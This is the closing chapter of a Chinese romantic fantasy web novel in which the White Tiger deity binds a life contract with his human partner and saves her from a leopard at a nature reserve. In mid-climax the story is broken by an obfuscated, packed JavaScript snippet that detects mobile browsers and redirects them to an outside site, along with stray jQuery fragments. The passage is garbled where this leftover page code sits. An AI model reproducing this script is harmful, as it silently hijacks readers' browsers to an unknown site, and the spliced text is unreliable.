吃完饭，慕沐兴致勃勃地打开电脑，找了许多她喜欢的尺度，顺利气得白虎关了电脑。


    “我给你看，让你看个够。”


    这一晚，慕沐虽然过足了眼福，但也差点第二天睡过头。


    果然，天下没有白吃的午餐。揉着酸疼的腰，默默挤上拥挤的地铁。


    下班回家的时候，白虎嗅到了她身上的血腥味，抓着她仔细闻了又闻。确认不是她的后，放心地坐回沙发，拿起看了一半的报纸，“今天又哪个未开智的受了愚蠢的伤？”


    “不是，是发./情季节快到了，教授让安排了几场绝育手术，”她脱下鞋子走进卧室，“都是散养在园里的野猫，还有些也不知哪跑来的。”


    拿了换洗衣服出来只见白虎靠在沙发上，一副若有所思的模样。


    “怎么了？”


    “什么是绝育手术？”


    对上虚心好学不耻下问的目光，慕沐迟疑了下，“就是，阉了。”


    白虎茫然地看着她。待她进了浴室才反应过来，阉了，是哪两个字。


    当晚，白虎真君心情甚是纠结地俯在她耳边，“老实说，我还是虎身的时候，你有没有想过阉了我？”


    “当然没有，”慕沐毫不犹豫，理直气壮地告诉他，“老虎是保护动物，得繁衍种群。”


    他眼睛亮了亮，“那我们现在繁衍。”


    “滚。”


    她开始怀念他假扮清冷仙君的时候了……


    出发前往保护区的前一晚，白虎早早结束了拍摄等在动物园大门口。看着她笑吟吟地跑向自己，自然而然地牵起她的手。


    逛了圈超市，在路边的小饭店一人吃了一碗红烧牛肉面。回到家，洗完澡，白虎换上了那身久违的白色长袍，丝织长裤。


    离得近了，她惊讶地发现白袍并不是纯白的，泛着金色的光芒，袖沿衣襟衣摆处染有一层幽兰。


    “你干嘛呢？”慕沐纳闷着今天上演哪一出，但见白虎神情肃穆。


    他低吟着，指尖长出锋利的指甲，淡然地划过心口。艳红的鲜血从伤痕处冒出时，慕沐吓了一跳，转身就要去找医药箱，他抓住了她的手腕。


    “尊天地之灵，敬天地之心，吾愿以吾之性命，护吾妻……”


    随着他的吟诵，心口的鲜血仿佛活了起来，一缕缠绕一缕，裹挟着一道紫色一道幽兰的光芒，飞向她的左手。


    从小指一圈一圈缠绕至无名指，最后隐没于她的掌心。慕沐怔怔地看着奇异的一幕，忽又一缕暗红在眼前出现，同时缠住二人的手腕，又渐渐消失。


    消失的还有白虎心口的血，留下一个淡淡像是伤口愈合的印记。


    “旧的契约破了，”他告诉她，“方才，我与你已结下新的契约。”


    慕沐看了他一眼，抬手摸着心口的印记，“疼吗？”


    白虎皱眉，“你不好奇新契约是什么？”


    “反正你也不会卖了我。”随口回道，她只关心这伤口都愈合了，为什么印记却没有消失？


    轻笑出声，“可我把自己卖给你了，”看着她疑惑的眼眸，白虎按住摸得心痒的手背，“吾妻，往后吾之性命可就系于你一人了。”


    眼皮一跳，紧跟着，心脏也不听话的狂跳。慕沐咽了口口水，艰难地开口，“说我听得懂的。”


    眉峰不羁地上挑，白虎扬起唇角，微笑道：“你敢离开，我死给你看。”


    “……”这人，她张了张嘴，最后只迸出两个字，“疯了。”


    这一晚，疯了的白虎真君没有缠着她要这要那，是她求着他赶紧解开那个什么鬼契约。他翻了个身，表示拒绝。


    “我去保护区，又不是去打仗，至于吗？”她挫败地踹了他一脚。


    白虎冷哼了声，“抱歉，死契，解不了。”永生永世绑死的那种。


    “白虎！”


    他拉起被子蒙住头，干脆来个不听。慕沐没辙，瘫倒在床上，不一会儿犹不死心地钻进被子。


    摸索着抚上健硕的胸膛，“真君大人，”额头蹭着绷紧的背脊，脚尖勾住他的小腿，“要不，再重新考虑一下？去工作而已，不会要死要活的。”


    “换个称呼。”他闷着声。


    慕沐想了想，“老公？”


    他转了过来，“再叫一声。”


    “老公，”假正经，腹诽着，慕沐钻进他怀里，又继续使劲撒娇，“老公，老公，老……”


    一吻过后，终于得到名分的白虎真君一脸惋惜地开口，“真解不了，老婆，大概要等你死了才能解。”


    “……王八蛋，敢咒我？”她忿忿地咬牙，才抬脚就被压住。


    翻身而上，掌心贴着腰线一路摩挲，白虎不要脸地又道：“放心，只要你平平安安的，我天天给你骂。如果觉得不够，你想做什么都可以。”


    她瞪着他，察觉不安分的某处蠢蠢欲动，气呼呼地掐了把他的脸，“以后把你那些情话都给我收回去。”


    “为何？”


    “我怕我先被你气死。”


    白虎歪着脑袋，认真地考虑了一下，“我没说情话，说的是实话。”


    一口气梗住，慕沐欲哭无泪不想再理他。


    “老婆，心口疼，揉揉。”


    “疼死你算了。”


    失笑地与她搂作一团，白虎故作轻松的眉宇间隐藏着一抹担忧。不知为何，他总觉得心神不宁。


    许是因为路途遥远，也或许是他曾在那受过伤。


    但诚如她所言，这是她的工作，他无权干涉也不会干涉。所以，他只能想尽办法护好她。


    “慕沐。”


    “嗯？”


    “有事给我打电话。”


    她笑了，“那么远，你赶得过来吗？”


    他亲了亲她的唇角，“傻瓜，我可是白虎真君啊。”


    [下面播送一则突发消息，位于本省拓苍山的华南虎保护区，因近日连续降雨发生了崖体滑坡，据可靠消息，一只成年花豹于今日逃出了保护区……]


    众目睽睽之下夺门而出，沈总监追出去的时候，走廊上不见白虎的身影，只有狂风暴雨从尽头一扇敞开的窗户扑面而入。


    镜花水月浮现的刹那，利爪劈开虚空。


    镇守西方位的上古神兽，象征着帝王的无上权威，是战神，亦是杀神。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320279|198286||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    只是，在人世间待久了。久得他快忘了，那些灵智未开的野兽在沾染神兽之血后，便会变得，“异想天开。”


    嘲讽地望向远处密林中躲藏的斑纹，又看了一眼山下深陷泥水中的车子，和推车的四人，白虎身体前倾，双手慢慢着地。


    雨势减弱，花豹窜出密林的时候，一道白影自山崖一跃而下。


    当白虎意识到那只花豹是直冲慕沐而去，一声虎啸响彻云霄。


    众人猛然惊醒，只听得教授下令，“全体上车，准备麻/醉/枪。”方才关上车门，一头花豹穿过雨幕跳上了引擎盖。


    它弓背俯胸，眼目血红，紧紧盯着车里的人。在搜寻到熟悉的气息，它举起了右爪。


    爪子挥上挡风玻璃之际，白影如闪电突袭撞飞了它。


    “白虎……”无声呢喃，慕沐震惊地看着引擎盖上威风凛凛的背影。它也回头，看了她一眼，然后跳了下去，挡在车辆前。


    在花豹发动下一轮进攻时，迎面冲了过去。


    隔得太远，雨势又逐渐猛烈，车里的人看不清外面的情况。慕沐担心地伸长了脖子，还是只能瞧见一片雨茫茫。


    “白虎？！是那头白虎吗？”主任忽然叫了起来。


    “嘘，”教授示意大家安静，“麻/醉/枪准备好了吗？”


    “准备好了。”师姐师兄应声道。


    慕沐急了，“教授，那个，打哪个？”


    教授抬眼看向后视镜，没好气地回道：“当然是花豹，还要问吗？”


    慕沐松了口气，又听教授念叨：“白虎如果打不过豹子，也太丢脸了。”


    “……他，会赢的，一定会赢。”慕沐紧紧握住了拳头。


    也不知过了多久，第二声虎啸冲破雨雾穿过山林的时候，豪气万丈，睥睨天下。


    “十分钟，还行。”教授点点头，率先打开了车门，“慕沐……”转头，心急的姑娘已经跳下车跑向远处白色的身影。


    花豹奄奄一息躺在泥地里，白虎倨傲地一只前爪踩在它的尾巴上。


    “我没杀它，只剥夺了它的灵智。”见到她，白虎得意地甩了甩鬃毛，“你老公厉害吗？”


    一身泥泞全甩她身上了。瞬间什么感动激动全没了，慕沐上前揪住了毛茸茸的大耳朵，“厉害，要不想想怎么跟教授他们解释，你为什么会出现吧？”


    “我来救老婆，需要什么解释。”


    看着他不屑的样子，慕沐弯了弯眉眼，转身朝着车子挥手，大声嚷道：“主任，放归的老虎回来报恩了。”


    “小骗子。”睨眼瞧她，白虎一肚子的担忧全然无了。


    她又忽然转身抱住了他，“回家给你做肉吃。”


    白虎撇了下嘴，“把肉换成你行吗？”


    濛濛细雨中，一人一虎又开始了新一轮的争辩，晚上吃什么？


    也许吃肉，也许吃素，也许点个外卖，也许他连个房子的首付还没挣到，也许她还得叫他闭嘴别说那些难听的情话。


    可终归，他来到了她的身边。


    晨起黄昏√


    日夜为伴X


    （全文完）